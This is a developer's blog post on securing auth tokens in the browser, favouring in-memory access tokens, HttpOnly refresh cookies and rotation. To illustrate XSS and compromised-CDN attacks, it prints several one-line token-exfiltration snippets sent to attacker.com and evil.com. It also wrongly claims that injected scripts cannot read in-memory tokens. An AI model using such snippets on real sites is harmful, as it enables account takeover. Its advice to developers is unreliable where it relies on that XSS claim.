• Home
  • Skills
  • Projects
  • Blog
  • Contact
Resume
Naser Rasouli

Author

Naser Rasouli

Front-End developer - sharing lessons learned, notes, and write-ups from real projects.

GitHubLinkedIn

Last posts

BEM Methodology in CSS: predictable naming for clean styles
2026-02-18•1 min read

BEM Methodology in CSS: predictable naming for clean styles

A practical guide to BEM to avoid style conflicts, structure class names, and keep CSS maintainable.

Why console.log After setState Shows the Old Value
2026-02-04•1 min read

Why console.log After setState Shows the Old Value

React batches state updates, so logging right after setState prints the previous value. Here’s why and the right ways to read the fresh state.

Cleanup Functions in useEffect: Stop Leaks Before They Start
2026-02-04•1 min read

Cleanup Functions in useEffect: Stop Leaks Before They Start

A practical guide to writing cleanup in useEffect so you avoid memory leaks, duplicate listeners, and setState on unmounted components.

Token Security on the Frontend: Best Practices for Storage and Management

Token Security on the Frontend: Best Practices for Storage and Management

2025-12-03
securityjwtweb-architectureauthentication

Securing Tokens and the Best Ways to Store Them on the Frontend

The core issue: localStorage is a security disaster.

localStorage and sessionStorage are fundamentally unsafe because:

1. Vulnerable to XSS (Cross-Site Scripting)

A tiny code injection is enough to steal a token. An attacker can grab it with a single line:

fetch("https://attacker.com/steal?token=" + localStorage.getItem("access"));

Once that happens, the user’s account is exposed.

2. Every script can read it

localStorage has no guardrails. Any script—first-party or third-party—can read the token. Unlike secure cookies, localStorage has no protections like HttpOnly or Secure.

3. Risk from third-party (CDN) libraries

If a JavaScript library loaded from a CDN gets compromised, all your users are at risk. An attacker can steal every token without touching server code:

const token = localStorage.getItem("jwt");
new Image().src = "https://evil.com/" + token;

4. Browser extensions

Many browser extensions have broad access to local data and can read localStorage. Even seemingly useful extensions can be malware.


Is sessionStorage the answer?

No. sessionStorage has the same weaknesses as localStorage. It only disappears when the tab closes, which is unrelated to the security issues here. It is still fully exposed to XSS and theft.


✅ The Fix: In-Memory + HttpOnly Cookie

A secure architecture has three parts, each with a specific role:


Part 1: Access Token (App Memory)

let accessToken = null;

function setAccessToken(token) {
  accessToken = token;
}

Why is this safe?

  • Temporary: It is wiped automatically when the page refreshes or the app closes.
  • Protected from XSS: The token lives in app memory, not localStorage, so external scripts cannot read it.
  • Short-lived: Usually valid for only 15–30 minutes, so even if stolen the damage window is small.

Key point: The Access Token must be short-lived. If someone steals it, they can only abuse it for a limited time.


Part 2: Refresh Token (HttpOnly Cookie)

Server-side:

res.cookie("refresh", token, {
  httpOnly: true,      // JavaScript cannot read this cookie
  secure: true,        // Only sent over HTTPS
  sameSite: "Strict"   // Only sent for same-site requests
});

Why an HttpOnly cookie?

  • HttpOnly cookies block JavaScript access: When httpOnly: true is set, no JavaScript can read or modify this cookie. The browser automatically sends it with each HTTP request to the server without any JavaScript involvement.
  • Server-controlled only: The token is stored and verified solely on the server.
  • SameSite protection: This setting reduces CSRF (Cross-Site Request Forgery) risk.

Practical example: When you send a request to the server, the browser automatically includes the Refresh Token:

// Client-side code
fetch("/api/user", { 
  credentials: "include"  // Cookies are sent automatically
});

// Browser handles this automatically:
// Cookie: refresh=abc123xyz

Part 3: Token Rotation (Secure Renewal)

Every time the Refresh Token is used:

  • The previous token is invalidated.
  • A new Refresh Token is issued.
  • The client receives a fresh Access Token.
async function refreshToken() {
  const res = await fetch("/auth/refresh", {
    method: "POST",
    credentials: "include"  // Send the cookie automatically
  });
  
  const data = await res.json();
  accessToken = data.accessToken; // Keep it in memory
}

Why Token Rotation?

  • A stolen Refresh Token becomes useless: If an attacker grabs an old token, it no longer works.
  • Time-bound: Each Refresh Token is only valid for a set period (e.g., 7 days).
  • Attack detection: If the server sees two requests for the same token from different IPs, it can flag a likely account compromise.

🔄 The Full Auth Lifecycle

1. Login

Server-side — issues two tokens:

res.cookie("refresh", refreshToken, { 
  httpOnly: true, 
  secure: true 
});
res.json({ accessToken });

Client-side — keeps the Access Token in memory:

const response = await fetch("/auth/login", {
  method: "POST",
  body: JSON.stringify({ username, password })
});
const data = await response.json();
accessToken = data.accessToken; // Memory only, not localStorage

2. Typical API request

fetch("/api/user", {
  headers: { 
    Authorization: `Bearer ${accessToken}` 
  }
});

The server validates the Access Token and returns data if it is valid.


3. If the Access Token expires

The server returns 401 Unauthorized:

async function makeAuthenticatedRequest(url) {
  let response = await fetch(url, {
    headers: { Authorization: `Bearer ${accessToken}` }
  });
  
  // If the token is expired
  if (response.status === 401) {
    // Refresh it
    await refreshToken();
    
    // Try again
    response = await fetch(url, {
      headers: { Authorization: `Bearer ${accessToken}` }
    });
  }
  
  return response.json();
}

4. Secure logout

await fetch("/auth/logout", { 
  method: "POST",
  credentials: "include"  // Send the Refresh Token
});
accessToken = null; // Clear memory

Server-side:

  • The Refresh Token in the cookie is revoked.
  • The cookie is no longer usable.

🚨 Real Attacks and How to Defend

Attack 1: XSS (Script Injection)

Attack method:

<script>
location.href = "https://evil.com/?token=" + localStorage.token;
</script>

An attacker injects malicious script and steals the token.

Defense with this architecture:

  • ✅ Access Token only lives in app memory, not localStorage.
  • ✅ External scripts cannot read app memory.
  • ✅ Refresh Token sits in an HttpOnly cookie, fully protected.

Attack 2: Compromised CDN

Attack method: You use a CDN-hosted library (like analytics.js). The CDN is hacked and malicious code is injected:

// Malicious code in the hacked CDN library
const t = localStorage.jwt;
sendToHacker(t);

If users kept tokens in localStorage, every token would be stolen.

Defense with this architecture:

  • ✅ No use of localStorage.
  • ✅ Tokens stay in app memory.
  • ⚠️ Refresh Token sits in HttpOnly — the attacker still cannot access it.

Attack 3: Malicious browser extension

Attack method: The user installs a malicious extension. It has access to all local site data:

// Extension code
send(localStorage.getItem("jwt"));

Defense with this architecture:

  • ✅ No use of localStorage.
  • ✅ Refresh Token in HttpOnly — even an extension cannot reach it.
  • ✅ Access Token is temporary — damage is limited.

✔️ Golden Rules

❌ localStorage / sessionStorage for tokens = security disaster
✅ Access Token = app memory (short-lived, 15–30 minutes)
✅ Refresh Token = HttpOnly cookie (long-lived, ~7 days)
✅ Token Rotation = issue a new token every time the Refresh Token is used
✅ Use credentials: "include" on requests
✅ XSS prevention = top frontend priority

⚠️ Important Reminder: Security Is Not a Destination

The In-Memory + HttpOnly Cookie + Token Rotation model is among the safest approaches available today — but no system is 100% secure.

We defend only against the attacks we know today. Unknown or future techniques are always possible.

Continuous testing and monitoring are essential

  • Regular security testing: Perform penetration tests every quarter.
  • Review risky scenarios: What if the Refresh Token is stolen? What if XSS occurs? What if the server is compromised?
  • Active monitoring: Log and analyze auth behavior continuously and flag suspicious patterns.
  • Fast updates: Patch any discovered vulnerability immediately.

Security is a continuous journey, not an end point.
Keep monitoring, testing, and improving.


📝 Conclusion

By using this architecture:

✅ Enterprise-grade security: Your auth system matches the rigor of banks and large companies.
✅ Full server-side control: The server owns and governs the entire auth process.
✅ Strong XSS resilience: Even if malicious scripts are injected, attackers cannot reach the tokens.
✅ Minimal token leakage risk: Multiple protective layers wrap every token.
✅ Production-ready: This pattern is deployed in major, real-world services.
✅ It aligns with industry standards — recommended by OAuth 2.0 and OpenID Connect as the secure pattern.